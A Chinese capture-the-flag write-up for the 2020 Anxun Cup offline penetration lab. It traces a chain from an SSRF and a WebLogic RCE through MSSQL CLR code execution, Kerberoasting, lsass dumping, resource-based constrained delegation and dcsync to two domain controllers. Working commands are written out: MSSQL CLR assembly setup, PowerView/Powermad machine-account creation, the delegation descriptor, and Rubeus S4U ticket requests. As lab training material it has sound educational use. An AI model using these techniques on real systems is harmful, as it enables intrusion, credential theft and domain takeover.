Posts iSoon2020A.lab Writeup
Post
Cancel

iSoon2020A.lab Writeup

2020第三届“安洵杯”线下渗透题目WriteUp

Author: Loong716

环境拓扑

  • Linux1: 192.168.206.128/192.168.57.135
  • Linux2: 192.168.57.119/10.223.71.132
  • DB: 10.223.71.86
  • APP: 10.223.71.105
  • DC2: 10.223.71.128
  • DC1: 10.223.71.130/10.223.85.150
  • ISOON2020BDC: 10.223.85.128

1607119835502.png

Linux1

开局给出入口点192.168.206.128,先扫一波端口

nmap.png

访问8080,发现web页面:

rukou.png

简单尝试后发现是一个ssrf,没有什么限制,读取根目录下的flag,签到完成~

flag1.png

读取/etc/hosts发现内网IP 192.168.57.135:

hosts.png

扫c段存活主机:

intru1.png

对119进行端口扫描,发现7001端口开放HTTP服务:

intru2.png

Linux2

看到是weblogic,且为SSRF场景,想到前一段时间的Weblogic One GET Request RCE(CVE-2020-14882/14883)

我这里直接msf生成反弹shell的马,然后wget上去,修改权限并执行:

14882.png

成功拿到shell,读取根目录下的flag:

flag2.png

Linux2为双网卡机器:

ifconfig.png

之后要通过单机的信息收集来找到通往内网的路径,翻文件后发现weblogic连接了一个内网的mssql数据库:

jdbc1.png

security/SerializedSystemIni.dat下载下来,使用weblogic解密工具来解密password:

weblogicdecy.png

DB.iSoon2020A.lab

挂上代理连接MSSQL,可以开启xp_cmdshell存储进程来执行命令:

xpcmdshell.PNG

简单探测后发现该机器在ISoon2020A.lab域内不出网且无Web服务,也就是说:

  • 无法写webshell
  • 无法远程下载文件

这里预期是用MSSQL CLR来加载我们自定义的存储过程,参考:攻击SQL Server的CLR库

使用c#编写一个Shellcode Loader,代码就不放了,这里举个输出Hello, World的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;

public partial class StoredProcedures
{
	[Microsoft.SqlServer.Server.SqlProcedure]
	public static void HelloWorld()
	{
		SqlContext.Pipe.Send("Hello, World");
	}
}

使用csc.exe编译为dll,注意.net的版本

clr1.png

使用xxd或编写脚本将DLL转为Hex,在MSSQL上执行如下命令:

alter database master set trustworthy on;

exec sp_configure 'show advanced options', 1;
RECONFIGURE WITH override

exec sp_configure 'clr enabled', 1;
RECONFIGURE WITH override
GO

CREATE ASSEMBLY [MSSQLloader]
AUTHORIZATION [dbo]
FROM [DLL_HEX]
WITH PERMISSION_SET = UNSAFE;


CREATE PROCEDURE [dbo].[MSSQLloader]
AS EXTERNAL NAME [MSSQLloader].[StoredProcedures].[Exec]

EXEC MSSQLloader

bind shell成功连接:

bindshell.png

PS:其实MSF有MSSQL CLR的攻击模块,题目环境没有杀软,可以直接打

shell后用户为NT SERVICE\MSSQLSERVER,拥有SeImpersonatePrivilege,常规思路使用potato提权到system拿flag:

flag3.png

APP.iSoon2020A.lab

之前已经拿到了域成员机的SYSTEM权限,所以此时已经在域内了(NT SERVICE\MSSQLSERVER这个账号的出网权限也是机器账户,所以其实提权之前就在域内了)

查询SPN,发现一个使用用户账户注册的SPN:

spn1.png

那么就可以进行Kerberoasting了

请求ST:

1
2
3
Add-Type -AssemblyNAme System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/APP.iSoon2020A.lab"

spn2.png

使用mimikatz导出:

kerberos::list /export

spn3.png

spn4.png

离线破解,拿到账户iis_svc/P@ssw0rd

spn5.png

如果对域内做了信息收集的话会发现只有两台域成员机

pingapp.png

直接使用psexec横向到APP.iSoon2020A.lab,得到flag:

(这里配置的是iis_svc为APP的本地管理员)

flag4.png

DC2.iSoon2020A.lab

APP拿到的权限是SYSTEM,且服务器版本为Windows Server 2008 R2

直接Dump Lsass:

lsass.png

发现一个域账户SH-ZHANGSAN/zhangsan@iSoon_SH

再结合域账户命名规则:

netuser.png

猜测域内存在通用密码规则,如AA-BB用户的密码为bb@iSoon_AA,由此可以拿到一批域账户:

  • SH-ZHANGSAN/zhangsan@iSoon_SH
  • CD-LISI/lisi@iSoon_CD
  • IT-ADMIN/admin@iSoon_IT
  • SH-ZHAOLIU/zhaoliu@iSoon_SH …

此时可以通过LDAP对域内的权限进行查询,看是否存在拥有特权的组/用户,使用AdFindPowerViewBloodHoundADExplorer等工具均可,这里我使用AdFind

结果如下:

  • IT-ADMINIT-OPS组拥有AddMember权限
  • IT-OPS组对DC2拥有GenericWrite权限

adfind1.png

adfind2.png

利用思路如下:

  1. 登录IT-ADMIN账户,将某个域成员添加到IT-OPS组中
  2. 此时该域成员继承了该组的权限,可对DC2写任意属性
  3. 添加一个机器账户evilcomputer$
  4. 修改DC2msds-allowedtoactonbehalfofotheridentity属性,配置基于资源的约束委派

可以开启APP的远程桌面,这样便于操作,如果使用powershell的话要修改执行策略

IT-ADMIN添加到IT-OPS组,并向域内添加evilcomputer$账户:

1
2
3
4
5
6
7
8
import-module .\powermad.ps1
import-module .\PowerView.ps1

# 将`IT-ADMIN`添加到`IT-OPS`组
Add-DomainGroupMember -Identity 'IT-OPS' -Members 'IT-ADMIN'

# 向域内添加`evilcomputer$`账户,密码为test1234
New-MachineAccount -MachineAccount evilcomputer -Password $(convertto-securestring "test1234" -AsPlainText -Force)

addcomputer.png

注意:添加进特权组之后需要将账户注销再重新登录才生效

配置基于资源的约束委派:

1
2
3
4
5
6
7
8
# 查询evilcomputer$的SID
Get-DomainComputer -Identity evilcomputer -Properties objectsid

# 为DC2配置基于资源的约束委派
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-490048132-1885274199-4253132943-3604)";
$SDBytes = New-Object byte[] ($SD.BinaryLength);
$SD.GetBinaryForm($SDBytes, 0);
Get-DomainComputer DC2 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

yueshuweipai.png

申请访问DC2的CIFS服务的票据:

1
2
3
4
5
# 将evilcomputer$的密码转换为hash
Rubeus.exe hash /user:evilcomputer /password:test1234 /domain:iSoon2020A.lab

# 利用S4U2Self和S4U2Proxy协议申请DC2的CIFS服务的ST
Rubeus.exe s4u /user:evilcomputer$ /rc4:3B1B47E42E0463276E3DED6CEF349F93 /impersonateuser:administrator /msdsspn:cifs/dc2.iSoon2020A.lab /ptt

yueshuweipai2.png

拿到DC2上的flag:

flag5.png

DC1.iSoon2020A.lab

由于域内有两台域控,可以先Psexec横向到DC2进行dcsync,拿到域管hash直接pth到DC1即可:

ipc1.png

ipc2.png

dcsync导出域内hash:

dcsync.png

哈希传递到DC1,拿到最后一个flag:

flag6.png

ISOON2020BDC.iSoon2020B.lab

原本预期是拿到DC1后,使用打印机BUG配合无约束委派来攻击双向信任林的另一台域控ISOON2020BDC,但该方法经测试利用成功率太低(我本地只成功了一次),因此没有开启该题目

感兴趣的师傅可以参考@harmj0y的文章:

Not A Security Boundary: Breaking Forest Trusts

This post is licensed under CC BY 4.0 by the author.